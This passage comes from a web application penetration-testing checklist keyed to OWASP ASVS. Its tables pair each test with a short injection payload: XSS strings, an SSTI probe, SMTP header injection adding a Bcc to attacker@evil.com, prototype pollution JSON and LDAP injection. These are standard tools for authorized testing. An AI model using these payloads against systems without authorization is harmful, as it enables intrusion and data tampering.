| S3 | Idle timeout | Wait 15+ minutes, try using session — should be expired (configurable, but should exist) | No session timeout |
| S4 | Absolute timeout | Keep session alive for 8+ hours with periodic requests — should eventually expire regardless | No absolute timeout |
| S5 | Concurrent session control | Log in from two browsers — check if app limits concurrent sessions or shows active sessions | No concurrent session control |
| S6 | Session token entropy | Collect 10+ session tokens, check length and character set — should be ≥128 bits of entropy | Weak session tokens |
| S7 | Cookie flags | Check Set-Cookie for HttpOnly, Secure, SameSite, Path | Missing cookie security flags |
| S8 | Session token not in URL | Check that session IDs never appear in URLs, redirects, or Referer headers | Session token URL exposure |

**ACCESS (ASVS V4 — Access Control):**

| # | Test | How to test | Finding if failed |
|---|------|-------------|-------------------|
| AC1 | Mass assignment | Add extra fields to registration/update requests (role, isAdmin, verified, balance) | Mass assignment vulnerability |
| AC2 | CSRF on state changes | For every POST/PUT/DELETE: remove CSRF token, try cross-origin — must fail | Missing CSRF protection |
| AC3 | HTTP verb tampering | Send GET instead of POST (and vice versa) to state-changing endpoints | HTTP verb tampering |

**INPUT (ASVS V5 — Validation, Sanitization, Encoding):**

| # | Test | How to test | Finding if failed |
|---|------|-------------|-------------------|
| I1 | HTTP Parameter Pollution | Send duplicate parameters: `?id=1&id=2` — check which value is used | HPP vulnerability |
| I2 | SSTI | Send `{{7*7}}` in every reflecting parameter — check for `49` in response | Template injection |
| I3 | SMTP header injection | In contact/email forms, inject `\r\nBcc: attacker@evil.com` into email fields | SMTP injection |
| I4 | SVG XSS | Upload SVG with `<script>alert(1)</script>` or `<svg onload=alert(1)>` as a `.svg` file — check if served as `image/svg+xml` and executes in browser; also test SVG in any image-accepting upload | SVG XSS |
| I4a | Stored XSS source-sink matrix | For every input that persists (profile, comments, names, addresses, preferences, rich-text fields): confirm payload appears on a page AND is not encoded. Test sinks: innerHTML, eval, document.write, href with user input, on* event handlers, template literals. Use `<img src=x onerror=alert(1)>`, `<svg/onload=alert(1)>`, and `javascript:alert(1)` in each. Register each source+sink pair as a separate finding. | Stored XSS |
| I5 | Markdown injection | If app renders Markdown, inject `[click](javascript:alert(1))` | Markdown XSS |
| I6 | JSON injection | In JSON inputs, send `{"key":"value","__proto__":{"isAdmin":true}}` | Prototype pollution / JSON injection |
| I7 | LDAP injection | If LDAP auth is used, try `*)(uid=*))(|(uid=*` in username | LDAP injection |

**LOGIC (ASVS V11 — Business Logic):**

| # | Test | How to test | Finding if failed |
|---|------|-------------|-------------------|
| L1 | Flow step skipping | In multi-step flows, skip directly to final step (e.g., go to /checkout without /cart) | Missing flow enfor

…(truncated)